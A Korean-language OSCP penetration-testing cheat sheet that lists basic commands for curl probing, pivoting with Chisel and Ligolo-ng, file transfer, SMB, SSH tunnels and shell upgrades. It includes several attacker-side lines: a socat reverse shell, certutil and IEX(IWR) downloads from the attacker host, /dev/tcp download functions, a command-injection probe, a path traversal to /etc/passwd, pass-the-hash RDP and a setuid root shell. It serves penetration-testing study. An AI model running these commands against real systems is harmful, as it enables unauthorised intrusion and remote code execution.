[OSCP] 명령어 - 기본

명령어

기본

curl

curl -v http://<RHOST>
curl -k <RHOST>
curl -X POST http://<RHOST>
curl -I POST http://<RHOST>
curl -X PUT http://<RHOST>
curl -vvv <RHOST>
curl --head http://<RHOST>/
curl --proxy http://127.0.0.1:8080
curl -X POST http://<RHOST>/select --data 'db=whatever|id'
curl --path-as-is http://<RHOST>/../../../../../../etc/passwd
curl -s "http://<RHOST>/reports.php?report=2589" | grep Do -A8 | html2text

Chisel

Reverse Pivot

./chisel server -p 9002 -reverse -v
./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888

SOCKS5 / 프록시체인 구성

./chisel server -p 9002 -reverse -v
./chisel client <RHOST>:9002 R:socks

파일 전송

Certutil

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

Netcat

nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>

Impacket

sudo python3 impacket/examples/smbserver.py <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support

copy * \\<LHOST>\<SHARE>
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing)

Bash 전용

wget version

Paste directly to the shell.

function __wget() {
    : ${DEBUG:=0}
    local URL=$1
    local tag="Connection: close"
    local mark=0
    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \
               "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi
    read proto server path <<<$(echo ${URL//// })
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
    [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
    [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"
    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
    while read line; do
        [[ $mark -eq 1 ]] && echo $line
        if [[ "${line}" =~ "${tag}" ]]; then
            mark=1
        fi
    done <&3
    exec 3>&-
}

__wget http://<LHOST>/<FILE>

curl version

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Kerberos

sudo apt-get install krb5-kdc

/etc/krb5.conf                   // kerberos configuration file location
kinit <USERNAME>                 // creating ticket request
klist                            // show available kerberos tickets
kdestroy                         // delete cached kerberos tickets
.k5login                         // resides kerberos principals for login (place in home directory)
krb5.keytab                      // "key table" file for one or more principals
kadmin                           // kerberos administration console
add_principal <EMAIL>            // add a new user to a keytab file
ksu                              // executes a command with kerberos authentication
klist -k /etc/krb5.keytab        // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab    // enables editing of the keytab file

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

프록시 및 에이전트 다운로드

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

터널 접속 준비

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

공격자 시스템에 프록시 설정

./proxy -laddr <LHOST>:443 -selfcert

대상 시스템에 에이전트 설정

./agent -connect <LHOST>:443 -ignore-cert

세션

ligolo-ng » session

[Agent : user@target] » ifconfig

sudo ip r add 172.16.1.0/24 dev ligolo

[Agent : user@target] » start

Linux

CentOS

doas -u <USERNAME> /bin/sh

환경 변수 설정

export PATH=`pwd`:$PATH

gcc

gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.c

getfacl

getfacl <LOCAL_DIRECTORY>

iconv

echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"

vi

:w !sudo tee %    # save file with elevated privileges without exiting

Windows 명령 형식

echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0

Microsoft Windows

dir

dir flag* /s /p
dir /s /b *.log

PHP Webserver

sudo php -S 127.0.0.1:80

Ping

ping -c 1 <RHOST>
ping -n 1 <RHOST>

Python Webserver

sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80

RDP

xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /h:1010 /w:1920
rdesktop <RHOST>

showmount

/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shell

smbclient

smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>
mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v

한 번에 여러 파일 다운로드

mask""
recurse ON
prompt OFF
mget *

socat

socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>

socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>

socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &

SSH

ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1
ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>
ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>

시간과 날짜

서버 시간 가져오기

sudo nmap -sU -p 123 --script ntp-info <RHOST>

시간 동기화를 중지하려면 virtualbox-guest-utils를 중지하세요.

sudo /etc/init.d/virtualbox-guest-utils stop

자동 동기화 비활성화

sudo systemctl disable --now chronyd

날짜 및 시간 설정 옵션

sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1

서버와 동기화 유지

while [ 1 ]; do sudo ntpdate <RHOST>;done

Tmux

ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar    # switch pane layout

Copy & Paste

:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]

Search

ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
shift + n     # reverse search

Logging

ctrl b
shift + P    # start / stop

Save Output

ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txt

쉘 업데이트

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xterm

VirtualBox

sudo pkill VBoxClient && VBoxClient --clipboard

virtualenv

sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activate

python.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activate